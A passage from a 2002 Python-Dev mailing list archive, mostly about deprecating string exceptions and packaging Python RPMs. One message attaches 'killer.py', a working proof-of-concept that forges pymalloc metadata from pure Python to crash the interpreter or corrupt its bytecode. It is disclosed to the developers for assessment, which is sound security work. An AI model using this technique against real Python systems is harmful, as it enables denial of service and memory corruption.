the same time as full enforcement of that rule is an open issue.

(Barry, are you taking notes for the transition-to-all-exceptions-
deriving-from-Exception PEP?)

--Guido van Rossum (home page: http://www.python.org/~guido/)





From guido@python.org  Thu Mar 28 01:09:01 2002
From: guido@python.org (Guido van Rossum)
Date: Wed, 27 Mar 2002 20:09:01 -0500
Subject: R: [Python-Dev] Deprecating string exceptions
In-Reply-To: Your message of "Wed, 27 Mar 2002 23:38:24 +0100."
 <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de><3CA2034C.BC70441D@prescod.net><m3d6xpq2az.fsf@mira.informatik.hu-berlin.de><200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net> <m33cylodup.fsf@mira.informatik.hu-berlin.de>
 <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico>
Message-ID: <200203280109.g2S191K32616@pcp742651pcs.reston01.va.comcast.net>

> But this is legal in 2.2
> 
> >>> class Z(str,Exception):
> ...  pass
> ...
> >>> Z.__bases__
> (<type 'str'>, <class exceptions.Exception at 0x00757700>)
> >>> Z.__base__
> <type 'str'>
> 
> so the issue is more subtle or I'm missing something?

Legal, but not particularly useful.  Anyway, I think that "derives
from Exception" overrules "derives from str" here, so this should be
allowed.  Note that currently it creates a new-style class and thus it
doesn't work.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Thu Mar 28 01:10:05 2002
From: guido@python.org (Guido van Rossum)
Date: Wed, 27 Mar 2002 20:10:05 -0500
Subject: R: [Python-Dev] Deprecating string exceptions
In-Reply-To: Your message of "28 Mar 2002 00:18:29 +0100."
 <m3y9gd7g6y.fsf@mira.informatik.hu-berlin.de>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de> <3CA2034C.BC70441D@prescod.net> <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de> <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net> <m33cylodup.fsf@mira.informatik.hu-berlin.de> <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico>
 <m3y9gd7g6y.fsf@mira.informatik.hu-berlin.de>
Message-ID: <200203280110.g2S1A5k32636@pcp742651pcs.reston01.va.comcast.net>

> Also, I believe that using your class Z as an exception class should
> not be supported: a "proper" exception should not just merely
> inherit from Exception - it should have Exception as its only root
> class (Z has both object and Exception as root classes).

I think that rule is too strong, and I don't see a reason for it.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tim_one@email.msn.com  Thu Mar 28 01:20:57 2002
From: tim_one@email.msn.com (Tim Peters)
Date: Wed, 27 Mar 2002 20:20:57 -0500
Subject: [Python-Dev] pymalloc killer
Message-ID: <LNBBLJKPBEHFEDALKOLCAEGCOIAA.tim_one@email.msn.com>

This is a multi-part message in MIME format.

------=_NextPart_000_0007_01C1D5CC.E75470C0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Recall that pymalloc delegates requests for "not small" blocks to the system
malloc.  This means that when pymalloc's free() is called, it has to figure
out whether the address passed to it was one it allocated itself, or came
from the system malloc.  It uses 64 bits of magical info to determine this,
based in part on address calculation.  Vladimir claimed, and I agreed, that
the chance of making a mistake here was insignificant.

However, the question remained whether a hostile user could study the source
code to mount a successful attack.  Alas, it turns out that's easy.  The
attached was my first brute-force try at tricking pymalloc via pure Python
code, and should break it quickly (within a few seconds) on any 32-bit
little-endian box.  It usually dies with a memory fault.  I've also seen it
trigger a bogus "unhashable type" error, and most worrisome a "SystemError:
unknown opcode" error (showing it's possible to mutate bytecode via driving
pymalloc insane).  I ran this on Win98SE, and it seems it's also possible to
provoke pymalloc into convincing the OS that the computer's modem is
permanently busy (! of course a reboot fixed that).

Given that there are other ways to provoke Python into crashing (and some
much easier than this way), I don't know how seriously to take this.
Historically, I'm usually hugging the end of the "who cares?" scale (I'm not
sure I've ever seen a system I couldn't crash with a little effort -- and I
have no idea how to stop me, let alone someone who's really keen to do
damage).

Please fight amongst yourselves <wink>.

------=_NextPart_000_0007_01C1D5CC.E75470C0
Content-Type: text/plain;
	name="killer.py"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="killer.py"

import array
import random
import thread
import time

PAGE = 4096
MAGIC = 0x74D3A651

POOLADDR_OFS = 16
MAGIC_OFS    = 20

def write4(a, ofs, value):
    # assuming little-endian is native
    for i in range(4):
        a[ofs + i] = chr(value & 0xff)
        value >>= 8

def corrupt(n):
    a = array.array('c', '\0' * n)
    assert a.itemsize == 1
    lo, numelements = a.buffer_info()
    assert n == numelements
    hi = lo + n

    pagealigned = lo & ~(PAGE - 1)
    if pagealigned < lo:
        pagealigned += PAGE
    assert pagealigned >= lo

    while pagealigned + MAGIC_OFS + 4 <= hi:
        write4(a, pagealigned - lo + POOLADDR_OFS, pagealigned)
        write4(a, pagealigned - lo + MAGIC_OFS, MAGIC)
        pagealigned += PAGE
    
    return a

def f():
    x = []
    while 1:
        x.append(corrupt(random.randrange(200000)))
        if len(x) > 5:
            del x[random.randrange(len(x))]
            print '*' * 79
    
def g():
    import test.test_descr
    while 1:
        test.test_descr.test_main()

def main():
    thread.start_new_thread(f, ())
    g()

if __name__ == "__main__":
    main()

------=_NextPart_000_0007_01C1D5CC.E75470C0--



From jafo@tummy.com  Thu Mar 28 01:27:36 2002
From: jafo@tummy.com (Sean Reifschneider)
Date: Wed, 27 Mar 2002 18:27:36 -0700
Subject: [Python-Dev] Discussion on the Python RPMs...
In-Reply-To: <m31ye6xslg.fsf@mira.informatik.hu-berlin.de>; from martin@v.loewis.de on Wed, Mar 27, 2002 at 10:33:47AM +0100
References: <20020326204815.A16962@tummy.com> <m31ye6xslg.fsf@mira.informatik.hu-berlin.de>
Message-ID: <20020327182736.C16962@tummy.com>

On Wed, Mar 27, 2002 at 10:33:47AM +0100, Martin v. Loewis wrote:
>> For test releases, I've been using the full release name as the extension,
>> /usr/bin/python2.2c1 (or was it just python2.2?).  This is so that multiple
>> versions can be installed 1.5.2, 2.1, 2.2c1...
>
>That doesn't really work, does it? 2.2c1 would overwrite
>/usr/lib/python2.2, which might be there from a prior Python 2.2
>installation. If it is just python2.2, that scheme would work.

It doesn't work when going from 2.x* to 2.x*, but it does work in all other
cases...  That's more a python issue than an RPM issue though, as it's the
same thing that would happen with a source install of Python (unless the
libdir were re-located).

>Ideally, there should be an easy way to either install your RPMs
>alongside with the system RPMs, or to replace the system RPMs. In the
>latter case, 'rpm -U' could be used to upgrade from the system Python
>to your binaries. This might be tricky, as the names and structures of
>the Python RPMs vary widely.

That is the way it's set up right now.  The binary RPMs you download from
python.org install and provide "python2", which can be installed along-side
the stock RedHat python (which installs and provides "python").  However
it's easy to change the RPM build so that you can take the source RPM and
build without the binary extension (creating a 2.2 RPM which provides
"python").

Sean
-- 
 Read error: 666 (Connection reset by Satan)
Sean Reifschneider, Inimitably Superfluous <jafo@tummy.com>
tummy.com - Linux Consulting since 1995. Qmail, KRUD, Firewalls, Python


From Juergen Hermann" <j.her@t-online.de  Thu Mar 28 01:38:14 2002
From: Juergen Hermann" <j.her@t-online.de (Juergen Hermann)
Date: Thu, 28 Mar 2002 02:38:14 +0100
Subject: [Python-Dev] Discussion on the Python RPMs...
In-Reply-To: <20020327182736.C16962@tummy.com>
Message-ID: <16qOrx-23BfW4C@fwd00.sul.t-online.com>

On Wed, 27 Mar 2002 18:27:36 -0700, Sean Reifschneider wrote:

>It doesn't work when going from 2.x* to 2.x*, but it does work in all o=
ther
>cases...  That's more a python issue than an RPM issue though, as it's =
the
>same thing that would happen with a source install of Python (unless th=
e
>libdir were re-located).

We have good results with installing into fully versioned directories,
and then symlinking a generic path to the latest installed version in
the RPM %post script, i.e.

/.../spam -> spam-1.2.3
/.../spam-1.2.3

This allows parallel installs of several versions, and easy switching
back and forth between them. Works for our requirements, YMMV.

Ciao, J=FCrgen




From barry@zope.com  Thu Mar 28 04:31:40 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Wed, 27 Mar 2002 23:31:40 -0500
Subject: [Python-Dev] Deprecating string exceptions
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
 <200203271808.g2RI8Q026235@pcp742651pcs.reston01.va.comcast.net>
 <15522.6670.659176.160139@anthem.wooz.org>
 <15522.13551.578919.724191@beluga.mojam.com>
Message-ID: <15522.40108.121847.845033@anthem.wooz.org>

>>>>> "SM" == Skip Montanaro <skip@pobox.com> writes:

    SM> Taking a quick peek at my own code, the only place I see that
    SM> strings are raised is in code that works with ZServer
    SM> (e.g. "raise 'redirect'").
---------------^^^^^^^^^^^^^^^

That's kind of scary Skip!  I.e. I belive the following is /not/
guaranteed to work in any version of Python that I'm aware of:

    try:
	raise 'foo'
    except 'foo':
	print 'foo caught'

because 'foo' is not (necessarily) 'foo'.

Much better to use:

    FOOEXC = 'foo'
    try:
	raise FOOEXC
    except FOOEXC:
	print 'foo caught'

-Barry


From barry@zope.com  Thu Mar 28 04:33:37 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Wed, 27 Mar 2002 23:33:37 -0500
Subject: [Python-Dev] Deprecating string exceptions
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
 <200203271808.g2RI8Q026235@pcp742651pcs.reston01.va.comcast.net>
 <15522.6670.659176.160139@anthem.wooz.org>
 <200203272108.g2RL8Ea29022@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15522.40225.832384.723654@anthem.wooz.org>

>>>>> "GvR" == Guido van Rossum <guido@python.org> writes:

    >> Is there any controversy that string exceptions should,
    >> eventually, be deprecated?  If not, then let's come up with a
    >> road map for deprecating them, even if their use doesn't raise
    >> a deprecation warning in Python 2.3.

    GvR> Good point.  I do want to start deprecating them, but slowly
    GvR> because they're used so much.  Maybe you can draft a brief
    GvR> PEP?

Will do.  I'd like to cover the following:

- roadmap for deprecating string exceptions (i.e. when will we issue
  DeprecationWarnings, when will they become illegal).

- roadmap for requiring exceptions to inherit from Exception (or
  discussion on whether this is still a goal).

- impact of the transition to new-style classes everywhere on the
  exception rules.

That might be too broad or too narrow -- I'm up for suggestions!
-Barry


From barry@zope.com  Thu Mar 28 04:35:06 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Wed, 27 Mar 2002 23:35:06 -0500
Subject: R: [Python-Dev] Deprecating string exceptions
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
 <3CA2034C.BC70441D@prescod.net>
 <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de>
 <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net>
 <m33cylodup.fsf@mira.informatik.hu-berlin.de>
 <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico>
 <m3y9gd7g6y.fsf@mira.informatik.hu-berlin.de>
Message-ID: <15522.40314.222139.796707@anthem.wooz.org>

>>>>> "MvL" == Martin v Loewis <martin@v.loewis.de> writes:

    MvL> Also, I believe that using your class Z as an exception class
    MvL> should not be supported: a "proper" exception should not just
    MvL> merely inherit from Exception - it should have Exception as
    MvL> its only root class (Z has both object and Exception as root
    MvL> classes).

Can you explain why you think the rule should be so strict?  I don't
see a problem with using multiple inheritance to satisfy the "must
derive" rule.

-Barry


From barry@zope.com  Thu Mar 28 04:35:35 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Wed, 27 Mar 2002 23:35:35 -0500
Subject: [Python-Dev] Deprecating string exceptions
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
 <3CA2034C.BC70441D@prescod.net>
 <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de>
 <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net>
 <m33cylodup.fsf@mira.informatik.hu-berlin.de>
 <200203280106.g2S168M30248@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15522.40343.302032.192178@anthem.wooz.org>

>>>>> "GvR" == Guido van Rossum <guido@python.org> writes:

    GvR> (Barry, are you taking notes for the
    GvR> transition-to-all-exceptions- deriving-from-Exception PEP?)

Indeed!
-Barry


From fdrake@acm.org  Thu Mar 28 04:38:05 2002
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Wed, 27 Mar 2002 23:38:05 -0500
Subject: [Python-Dev] Deprecating string exceptions
In-Reply-To: <15522.40108.121847.845033@anthem.wooz.org>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
 <200203271808.g2RI8Q026235@pcp742651pcs.reston01.va.comcast.net>
 <15522.6670.659176.160139@anthem.wooz.org>
 <15522.13551.578919.724191@beluga.mojam.com>
 <15522.40108.121847.845033@anthem.wooz.org>
Message-ID: <15522.40493.284605.38620@grendel.zope.com>

Barry A. Warsaw writes:
 > That's kind of scary Skip!  I.e. I belive the following is /not/
 > guaranteed to work in any version of Python that I'm aware of:
 > 
 >     try:
 > 	raise 'foo'
 >     except 'foo':
 > 	print 'foo caught'
 > 
 > because 'foo' is not (necessarily) 'foo'.

Except of course that it *will* work in Python version dating back to
(I suspect) 1.0; that certainly was being done in 1.2, though I don't
think it was ever recommended practice.

That it worked before string interning was an accident of
implementation: all the 'foo' in your example were in a single code
object, and so were ensured by the compiler to be the same object
(they shared an entry in the constants table).  After string interning
was added, it worked more broadly because interning caused a single
'foo' to be shared.

I'd *love* to see a warning issued everywhere a string exception is
raised or caught by a non-bare except clause!


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From jafo@tummy.com  Thu Mar 28 04:59:00 2002
From: jafo@tummy.com (Sean Reifschneider)
Date: Wed, 27 Mar 2002 21:59:00 -0700
Subject: [Python-Dev] Discussion on the Python RPMs...
In-Reply-To: <16qOrx-23BfW4C@fwd00.sul.t-online.com>; from j.her@t-online.de on Thu, Mar 28, 2002 at 02:38:14AM +0100
References: <20020327182736.C16962@tummy.com> <16qOrx-23BfW4C@fwd00.sul.t-online.com>
Message-ID: <20020327215900.D16962@tummy.com>

On Thu, Mar 28, 2002 at 02:38:14AM +0100, Juergen Hermann wrote:
>We have good results with installing into fully versioned directories,
>and then symlinking a generic path to the latest installed version in
>the RPM %post script, i.e.

Well, the problem with that is that you're kind of circumventing the
packaging system...  The packaging system can't determine if that link has
changed, or if other software conflicts with it.  Not an earth-shattering
situation, but something I try to avoid in the RPMs I distribute...

>This allows parallel installs of several versions, and easy switching
>back and forth between them. Works for our requirements, YMMV.

I'd say that the packages themselves make it easy to switch back and forth
between versions.  "rpm -e package; rpm -i /tmp/package-previous.rpm"...

Sean
-- 
 "If all you have is a hammer, every problem tends to look like a nail."
Sean Reifschneider, Inimitably Superfluous <jafo@tummy.com>
tummy.com - Linux Consulting since 1995. Qmail, KRUD, Firewalls, Python


From barry@zope.com  Thu Mar 28 05:02:16 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Thu, 28 Mar 2002 00:02:16 -0500
Subject: [Python-Dev] Deprecating string exceptions
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
 <200203271808.g2RI8Q026235@pcp742651pcs.reston01.va.comcast.net>
 <15522.6670.659176.160139@anthem.wooz.org>
 <15522.13551.578919.724191@beluga.mojam.com>
 <15522.40108.121847.845033@anthem.wooz.org>
 <15522.40493.284605.38620@grendel.zope.com>
Message-ID: <15522.41944.466839.452827@anthem.wooz.org>

>>>>> "Fred" == Fred L Drake, Jr <fdrake@acm.org> writes:

    Fred> Except of course that it *will* work in Python version
    Fred> dating back to (I suspect) 1.0; that certainly was being
    Fred> done in 1.2, though I don't think it was ever recommended
    Fred> practice.

    Fred> That it worked before string interning was an accident of
    Fred> implementation: all the 'foo' in your example were in a
    Fred> single code object, and so were ensured by the compiler to
    Fred> be the same object (they shared an entry in the constants
    Fred> table).  After string interning was added, it worked more
    Fred> broadly because interning caused a single 'foo' to be
    Fred> shared.

Of course the first 'foo' and the second 'foo' need not have such a
close lexical relationship.  And can't interning (I think) be
disabled?  (Though I'm sure no one does this.)  Also, isn't interning
limited to just identifier-like strings:

>>> x = 'foo += boy'
>>> y = 'foo += boy'
>>> x is y
0

So, yes the simple example I gave will work, but the more general
concept, that string exceptions cannot guaranteed to be caught by
value, still holds.

-Barry


From skip@pobox.com  Thu Mar 28 05:06:24 2002
From: skip@pobox.com (Skip Montanaro)
Date: Wed, 27 Mar 2002 23:06:24 -0600
Subject: [Python-Dev] Deprecating string exceptions
In-Reply-To: <15522.40108.121847.845033@anthem.wooz.org>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
 <200203271808.g2RI8Q026235@pcp742651pcs.reston01.va.comcast.net>
 <15522.6670.659176.160139@anthem.wooz.org>
 <15522.13551.578919.724191@beluga.mojam.com>
 <15522.40108.121847.845033@anthem.wooz.org>
Message-ID: <15522.42192.101277.874945@12-248-41-177.client.attbi.com>


    SM> Taking a quick peek at my own code, the only place I see that
    SM> strings are raised is in code that works with ZServer
    SM> (e.g. "raise 'redirect'").
    BAW> ---------------^^^^^^^^^^^^^^^

    BAW> That's kind of scary Skip!

That's what ZServer does or did require.  Fortunately for me, this is in
code that isn't actually used anymore.  From Guido's response, it sounds
like ZServer is getting away from that.

Skip


From fdrake@acm.org  Thu Mar 28 05:14:19 2002
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Thu, 28 Mar 2002 00:14:19 -0500
Subject: [Python-Dev] Deprecating string exceptions
In-Reply-To: <15522.41944.466839.452827@anthem.wooz.org>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
 <200203271808.g2RI8Q026235@pcp742651pcs.reston01.va.comcast.net>
 <15522.6670.659176.160139@anthem.wooz.org>
 <15522.13551.578919.724191@beluga.mojam.com>
 <15522.40108.121847.845033@anthem.wooz.org>
 <15522.40493.284605.38620@grendel.zope.com>
 <15522.41944.466839.452827@anthem.wooz.org>
Message-ID: <15522.42667.644485.138563@grendel.zope.com>

Barry A. Warsaw writes:
 > Of course the first 'foo' and the second 'foo' need not have such a
 > close lexical relationship.  And can't interning (I think) be
 > disabled?  (Though I'm sure no one does this.)  Also, isn't interning
 > limited to just identifier-like strings:

Yes, but in practice, the strings that were used for exceptions were
simple in this way.  I don't know whether there's a #define that
controls the use of interning; I can't imaging that anyone would want
to use it.

 > So, yes the simple example I gave will work, but the more general
 > concept, that string exceptions cannot guaranteed to be caught by
 > value, still holds.

Agreed.  But that's always been well-known, and probably even
documented.  ;-)


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From tim.one@comcast.net  Thu Mar 28 05:43:57 2002
From: tim.one@comcast.net (Tim Peters)
Date: Thu, 28 Mar 2002 00:43:57 -0500
Subject: [Python-Dev] Deprecating string exceptions
In-Reply-To: <15522.42667.644485.138563@grendel.zope.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCCEHAOIAA.tim.one@comcast.net>

[Fred L. Drake, Jr.]
> Yes, but in practice, the strings that were used for exceptions were
> simple in this way.

When I first starting using Python, I believed the exception string had to
be named 'error'.  Timmy see, Timmy do.  Guido scowl, Timmy start using
nested tuple exceptions and break Guido's code.  Heh heh.

> I don't know whether there's a #define that controls the use of
> interning; I can't imaging that anyone would want to use it.

It's INTERN_STRINGS.  I'd like to get rid of it.  Ditto
DONT_SHARE_SHORT_STRINGS.  Ditto CACHE_HASH and COUNT_ALLOCS, for that
matter.  BTW, all four are used in PyString_FromStringAndSize -- and I'm
sure we routinely test all 16 preprocessor variations <wink>.

[Barry]
>> So, yes the simple example I gave will work, but the more general
>> concept, that string exceptions cannot guaranteed to be caught by
>> value, still holds.

> Agreed.  But that's always been well-known, and probably even
> documented.  ;-)

It's not that well-known, and because consts are "effectively" interned on a
per-codeblock basis, it's easy to fool yourself into believing they're
compared by value when writing simple test cases.  For example, put this in
a file and run it:

try:
    raise "Woo hoo!"
except "Woo hoo!":
    print "caught it"

All instances of a given string within a single code block map to the same
CO_CONSTS entry, so this *appears* to work fine, despite that it doesn't
work at all <wink>.



From guido@python.org  Thu Mar 28 05:50:01 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 28 Mar 2002 00:50:01 -0500
Subject: [Python-Dev] Deprecating string exceptions
In-Reply-To: Your message of "Wed, 27 Mar 2002 23:31:40 EST."
 <15522.40108.121847.845033@anthem.wooz.org>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de> <200203271808.g2RI8Q026235@pcp742651pcs.reston01.va.comcast.net> <15522.6670.659176.160139@anthem.wooz.org> <15522.13551.578919.724191@beluga.mojam.com>
 <15522.40108.121847.845033@anthem.wooz.org>
Message-ID: <200203280550.g2S5o1601017@pcp742651pcs.reston01.va.comcast.net>

> >>>>> "SM" == Skip Montanaro <skip@pobox.com> writes:
> 
>     SM> Taking a quick peek at my own code, the only place I see that
>     SM> strings are raised is in code that works with ZServer
>     SM> (e.g. "raise 'redirect'").
> ---------------^^^^^^^^^^^^^^^
> 
> That's kind of scary Skip!  I.e. I belive the following is /not/
> guaranteed to work in any version of Python that I'm aware of:
> 
>     try:
> 	raise 'foo'
>     except 'foo':
> 	print 'foo caught'
> 
> because 'foo' is not (necessarily) 'foo'.
> 
> Much better to use:
> 
>     FOOEXC = 'foo'
>     try:
> 	raise FOOEXC
>     except FOOEXC:
> 	print 'foo caught'
> 
> -Barry

Barry, he's doing what Zope tells him to do -- AFAIK Zope doesn't make
identifiers available for these magic exceptions.  It happens to work
because string literals that look like identifiers are always
intern()ed -- but the language doesn't guarantee this!

--Guido van Rossum (home page: http://www.python.org/~guido/)


From barry@zope.com  Thu Mar 28 05:51:46 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Thu, 28 Mar 2002 00:51:46 -0500
Subject: [Python-Dev] Deprecating string exceptions
References: <15522.42667.644485.138563@grendel.zope.com>
 <LNBBLJKPBEHFEDALKOLCCEHAOIAA.tim.one@comcast.net>
Message-ID: <15522.44914.991681.36073@anthem.wooz.org>

>>>>> "TP" == Tim Peters <tim.one@comcast.net> writes:

    TP> It's INTERN_STRINGS.  I'd like to get rid of it.  Ditto
    TP> DONT_SHARE_SHORT_STRINGS.  Ditto CACHE_HASH and COUNT_ALLOCS,
    TP> for that matter.  BTW, all four are used in
    TP> PyString_FromStringAndSize -- and I'm sure we routinely test
    TP> all 16 preprocessor variations <wink>.

I don't know what half of those do <0.5 wink>, but I'm all for getting
rid of optional stuff that in practice no one ever avails themselves
of.

-Barry


From barry@zope.com  Thu Mar 28 05:53:31 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Thu, 28 Mar 2002 00:53:31 -0500
Subject: [Python-Dev] Deprecating string exceptions
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
 <200203271808.g2RI8Q026235@pcp742651pcs.reston01.va.comcast.net>
 <15522.6670.659176.160139@anthem.wooz.org>
 <15522.13551.578919.724191@beluga.mojam.com>
 <15522.40108.121847.845033@anthem.wooz.org>
 <200203280550.g2S5o1601017@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15522.45019.781891.575330@anthem.wooz.org>

>>>>> "GvR" == Guido van Rossum <guido@python.org> writes:

    GvR> Barry, he's doing what Zope tells him to do

I keep repeating to myself: everything will be sweetness and light in
Zope3. :)

-Barry


From guido@python.org  Thu Mar 28 06:01:17 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 28 Mar 2002 01:01:17 -0500
Subject: [Python-Dev] Deprecating string exceptions
In-Reply-To: Your message of "Thu, 28 Mar 2002 00:43:57 EST."
 <LNBBLJKPBEHFEDALKOLCCEHAOIAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCCEHAOIAA.tim.one@comcast.net>
Message-ID: <200203280601.g2S61HX02079@pcp742651pcs.reston01.va.comcast.net>

> It's INTERN_STRINGS.  I'd like to get rid of it.  Ditto
> DONT_SHARE_SHORT_STRINGS.  Ditto CACHE_HASH and COUNT_ALLOCS, for that
> matter.

INTERN_STRINGS and CACHE_HASH should always be on (as they are by
default).

DONT_SHARE_SHORT_STRINGS should always be off (as it is by default).

COUNT_ALLOCS should be on iff Py_TRACE_REFS is on (though currently
it's always off).

I'd be happy to lose all 4 symbols.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From martin@v.loewis.de  Thu Mar 28 09:37:54 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 28 Mar 2002 10:37:54 +0100
Subject: R: [Python-Dev] Deprecating string exceptions
In-Reply-To: <200203280109.g2S191K32616@pcp742651pcs.reston01.va.comcast.net>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
 <3CA2034C.BC70441D@prescod.net>
 <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de>
 <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net>
 <m33cylodup.fsf@mira.informatik.hu-berlin.de>
 <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico>
 <200203280109.g2S191K32616@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <m3bsd92ft9.fsf@mira.informatik.hu-berlin.de>

Guido van Rossum <guido@python.org> writes:

> > >>> class Z(str,Exception):
> > ...  pass
> 
> Legal, but not particularly useful.  Anyway, I think that "derives
> from Exception" overrules "derives from str" here, so this should be
> allowed.  Note that currently it creates a new-style class and thus it
> doesn't work.

What do you mean, it doesn't work?

>>> class Z(str,Exception):pass
...
>>> exc = Z("Hallo")
>>> try:
...   raise exc
... except exc:
...   print "Gefangen"
...
Gefangen

Regards,
Martin


From martin@v.loewis.de  Thu Mar 28 09:35:36 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 28 Mar 2002 10:35:36 +0100
Subject: R: [Python-Dev] Deprecating string exceptions
In-Reply-To: <15522.40314.222139.796707@anthem.wooz.org>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
 <3CA2034C.BC70441D@prescod.net>
 <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de>
 <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net>
 <m33cylodup.fsf@mira.informatik.hu-berlin.de>
 <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico>
 <m3y9gd7g6y.fsf@mira.informatik.hu-berlin.de>
 <15522.40314.222139.796707@anthem.wooz.org>
Message-ID: <m3g02l2fx3.fsf@mira.informatik.hu-berlin.de>

barry@zope.com (Barry A. Warsaw) writes:

> Can you explain why you think the rule should be so strict?  I don't
> see a problem with using multiple inheritance to satisfy the "must
> derive" rule.

The question is, whether, given

class Base:pass
class MyExc(Base, Exception):pass

it would be valid to write

try:
  foo() # raises MyExc
except Base:
  pass

If that ought to be allowed, I fail to see the rationale to require
that exceptions be derived from Exception: The rationale could be "all
exceptions are primarily instances of Exception" - yet in this case,
Base is the primary class, and Exception is just a mix-in that plays
no further role in this case of exception handling.

If you want to allow Base in the except clause, but do allow Base as
the base class of MyExc, I'd be curious what run-time semantics you'd
associate with this example.

Regards,
Martin



From guido@python.org  Thu Mar 28 12:48:40 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 28 Mar 2002 07:48:40 -0500
Subject: R: [Python-Dev] Deprecating string exceptions
In-Reply-To: Your message of "28 Mar 2002 10:37:54 +0100."
 <m3bsd92ft9.fsf@mira.informatik.hu-berlin.de>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de> <3CA2034C.BC70441D@prescod.net> <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de> <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net> <m33cylodup.fsf@mira.informatik.hu-berlin.de> <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico> <200203280109.g2S191K32616@pcp742651pcs.reston01.va.comcast.net>
 <m3bsd92ft9.fsf@mira.informatik.hu-berlin.de>
Message-ID: <200203281248.g2SCmet03583@pcp742651pcs.reston01.va.comcast.net>

> > > >>> class Z(str,Exception):
> > > ...  pass
> > 
> > Legal, but not particularly useful.  Anyway, I think that "derives
> > from Exception" overrules "derives from str" here, so this should be
> > allowed.  Note that currently it creates a new-style class and thus it
> > doesn't work.
> 
> What do you mean, it doesn't work?
> 
> >>> class Z(str,Exception):pass
> ...
> >>> exc = Z("Hallo")
> >>> try:
> ...   raise exc
> ... except exc:
> ...   print "Gefangen"
> ...
> Gefangen

But if you try "except Exception:" or "except Z:" instead, it doesn't
work.  Very surprising.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Thu Mar 28 12:59:58 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 28 Mar 2002 07:59:58 -0500
Subject: R: [Python-Dev] Deprecating string exceptions
In-Reply-To: Your message of "28 Mar 2002 10:35:36 +0100."
 <m3g02l2fx3.fsf@mira.informatik.hu-berlin.de>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de> <3CA2034C.BC70441D@prescod.net> <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de> <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net> <m33cylodup.fsf@mira.informatik.hu-berlin.de> <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico> <m3y9gd7g6y.fsf@mira.informatik.hu-berlin.de> <15522.40314.222139.796707@anthem.wooz.org>
 <m3g02l2fx3.fsf@mira.informatik.hu-berlin.de>
Message-ID: <200203281259.g2SCxw403603@pcp742651pcs.reston01.va.comcast.net>

> The question is, whether, given
> 
> class Base:pass
> class MyExc(Base, Exception):pass
> 
> it would be valid to write
> 
> try:
>   foo() # raises MyExc
> except Base:
>   pass

The "except Base:" class would of course be illegal because Base
doesn't derive from Exception.  (Although the error might only be
detected when MyExc is raised -- but PyChecker could do better.)  But
the statement "raise MyExc" would be perfectly legal, and could be
caught either with "except MyExc" or "except Exception".

> If that ought to be allowed, I fail to see the rationale to require
> that exceptions be derived from Exception: The rationale could be "all
